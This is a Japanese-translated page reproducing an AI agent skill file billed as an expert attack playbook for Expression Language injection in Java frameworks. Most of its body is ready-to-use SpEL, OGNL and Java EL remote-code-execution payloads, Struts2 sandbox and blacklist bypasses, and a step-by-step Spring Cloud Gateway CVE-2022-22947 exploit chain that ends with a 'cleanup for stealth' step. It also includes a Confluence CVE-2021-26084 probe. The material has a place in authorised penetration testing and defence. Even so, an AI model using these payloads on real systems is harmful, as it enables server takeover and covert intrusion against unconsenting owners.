expression-language-injection
Java EL、SpEL、OGNL、MVELなどの式言語において、攻撃者が制御する入力がSpring・Struts2・Confluenceなどのフレームワーク上で評価される可能性がある場合に使用するインジェクション診断プレイブック。式言語インジェクションの脆弱性調査・検証・対策に活用できます。
description の原文を見る
>- Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.
SKILL.md 本文
SKILL: Expression Language インジェクション — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: SpEL(Spring)、OGNL(Struts2)、Java EL(JSP/JSF)をカバーするエキスパート EL インジェクション技術。SSTI とは異なり、EL インジェクションはテンプレートエンジンではなく、Java フレームワークに組み込まれた式評価器を対象とします。サンドボックスバイパス、
_memberAccess操作、アクチュエータ悪用、実世界の CVE チェーンをカバーします。
0. 関連ルーティング
ssti-server-side-template-injectionテンプレートエンジン(Jinja2、FreeMarker、Twig)向け — 攻撃対象が異なりますjndi-injectionEL 評価が JNDI ルックアップにつながる場合
主な違い: SSTI はテンプレートレンダリングエンジンを対象とし、EL インジェクションは Java フレームワークに組み込まれた式評価器を対象とします。検出プローブ(${7*7})は共通していますが、悪用方法は異なります。
1. 検出 — ポリグロットプローブ
${7*7} → 49 = SpEL、OGNL、または Java EL
#{7*7} → 49 = SpEL(別の構文)または JSF EL
%{7*7} → 49 = OGNL(Struts2)
${T(java.lang.Math).random()} → ランダムな浮動小数点数 = SpEL 確認済み
%{#context} → オブジェクトダンプ = OGNL 確認済み
区別方法
${7*7} への応答 | %{7*7} への応答 | エンジン |
|---|---|---|
| 49 | リテラル %{7*7} | SpEL または Java EL |
リテラル ${7*7} | 49 | OGNL(Struts2) |
| 49 | 49 | 両方が有効な可能性あり |
2. SpEL(SPRING EXPRESSION LANGUAGE)
SpEL が出現する場所
@Value("${...}")アノテーション- Spring Security 式(
@PreAuthorize) - Spring Cloud Gateway ルート述語とフィルター
- Thymeleaf
th:text="${...}"(__${...}__前処理と組み合わせた場合) - Spring Data
@Querywith SpEL
Runtime.exec 経由の RCE
${T(java.lang.Runtime).getRuntime().exec("id")}
出力キャプチャ付き RCE(Commons IO)
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
出力キャプチャ付き RCE(Spring StreamUtils)
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
ProcessBuilder(Runtime がブロックされている場合の代替手段)
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
Spring Cloud Gateway — CVE-2022-22947
アクチュエータ経由で SpEL フィルターを含む悪意のあるルートを追加して悪用:
# ステップ 1: SpEL を含むルートをフィルターに追加(出力キャプチャ付き)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}
# ステップ 2: ルートをリフレッシュして適用
POST /actuator/gateway/refresh
# ステップ 3: ルートをトリガー
GET /hackpath
# レスポンスヘッダー "Result" にコマンド出力が含まれます
# ステップ 4: クリーンアップ(ステルス性のために重要)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh
SpEL サンドボックスバイパス
SimpleEvaluationContext が使用されている場合(T() 演算子を制限):
// リフレクションベースのバイパスを試す:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}
3. OGNL(OBJECT-GRAPH NAVIGATION LANGUAGE)
OGNL が出現する場所
- Apache Struts2 — 主要な OGNL 消費者
- Confluence Server — 特定のリクエストパスで OGNL を使用
ognl.Ognl.getValue()またはognl.Ognl.setValue()を使用する任意の Java アプリケーション
基本的な RCE
%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}
Struts2 サンドボックスバイパス — _memberAccess 操作
Struts2 は SecurityMemberAccess 経由で OGNL を制限します。古典的なバイパスは制限をクリアします:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Struts2 OgnlUtil ブラックリストクリア
新しい Struts2 バージョンはクラス/パッケージのブラックリストを使用します。excludedClasses と excludedPackageNames をクリアしてバイパス:
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}
主要な Struts2 CVE
| CVE | ベクトル | ペイロード位置 |
|---|---|---|
| S2-045(CVE-2017-5638) | Content-Type ヘッダー | %{...} in Content-Type |
| S2-046(CVE-2017-5638) | マルチパートファイル名 | アップロードファイル名の OGNL |
| S2-016(CVE-2013-2251) | redirect: / redirectAction: プリフィックス | URL パラメーター |
| S2-048(CVE-2017-9791) | Struts Showcase | ActionMessage with OGNL |
| S2-057(CVE-2018-11776) | Namespace OGNL | URL パス |
Confluence OGNL — CVE-2021-26084
Confluence Server は queryString またはアクションパラメーター経由で OGNL インジェクションを許可します:
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL デコード: \u0027+{3*3}+\u0027
# レスポンスに 9 が含まれている場合 → 確認済み
# RCE の場合は Runtime.exec にエスカレート
4. JAVA EL(JSP / JSF)
Java EL が出現する場所
- JSP ページ:
${expression}および#{expression} - JSF(JavaServer Faces): 値とメソッドバインディング
- カスタムタグライブラリ
RCE ペイロード
// Runtime を使用した Java EL:
${Runtime.getRuntime().exec("id")}
// pageContext 経由(JSP):
${pageContext.request.getServletContext().getClassLoader()}
// リフレクションベース:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
5. 検出方法論
入力が反映されており ${7*7} が 49 を返す?
├── Java アプリケーション?
│ ├── Struts2? → %{...} OGNL ペイロードを試す
│ │ └── Content-Type インジェクションをチェック(S2-045)
│ ├── Spring? → T(java.lang.Runtime) SpEL を試す
│ │ └── /actuator/gateway をチェック(Spring Cloud Gateway)
│ ├── Confluence? → アクションパラメーター経由で OGNL を試す
│ └── JSP/JSF? → Java EL ペイロードを試す
│
├── エラーメッセージがフレームワークを明らかにする?
│ ├── "ognl.OgnlException" → OGNL
│ ├── "SpelEvaluationException" → SpEL
│ └── "javax.el.ELException" → Java EL
│
└── サンドボックスでブロックされている?
├── OGNL: _memberAccess / excludedClasses をクリア
├── SpEL: SimpleEvaluationContext のリフレクションバイパス
└── 代替 exec メソッド(ProcessBuilder、ScriptEngine)を試す
6. クイックリファレンス
# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}
# OGNL RCE(Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
# サンドボックスバイパス付き OGNL:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# Confluence CVE-2021-26084 プローブ:
queryString=\u0027%2b{3*3}%2b\u0027
# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x → フィルター引数の SpEL
POST /actuator/gateway/refresh
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。